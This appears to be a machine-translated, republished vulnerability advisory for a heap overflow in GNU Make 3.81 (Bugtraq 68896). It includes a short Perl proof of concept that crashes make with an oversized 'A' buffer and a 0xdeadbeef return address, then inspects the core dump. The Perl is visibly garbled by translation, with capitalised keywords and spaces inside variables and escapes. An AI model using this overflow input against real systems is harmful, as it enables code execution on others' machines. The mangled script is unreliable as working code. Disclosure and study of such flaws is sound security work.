GNU Make pointer indirect reference Heap Overflow Vulnerability

Source: Internet
Author: User

GNU Make pointer indirect reference Heap Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
GNU make 3.81
Description:
--------------------------------------------------------------------------------
Bugtraq id: 68896
 
GNU Make is a utility that automatically creates executable programs and libraries based on source code.
 
A heap overflow vulnerability exists in Make 3.81 and other versions. Attackers can exploit this vulnerability to execute arbitrary code in the context of the affected application.
 
<* Source: HyP
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/perl

Use 5.010;
Use strict;
Use warnings;
Say "Please set ulimit value to 1000 before (ulimit-c 1000 )";
Sleep 0.5;


My $ buff = "A" x 4096;
My $ addr = "\ xef \ xbe \ xad \ xde ";
My $ make = "./make ";
My $ gdb = "gdb -- core ";
My $ PAYLOAD = ('perl-e' print "$ buff". "$ addr "'');

My $ exec = qx ($ make $ PAYLOAD );

Say "Reading Core file GDB ";
Sleep 0.5;

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
GNU
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.gnu.org

This article permanently updates the link address:

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.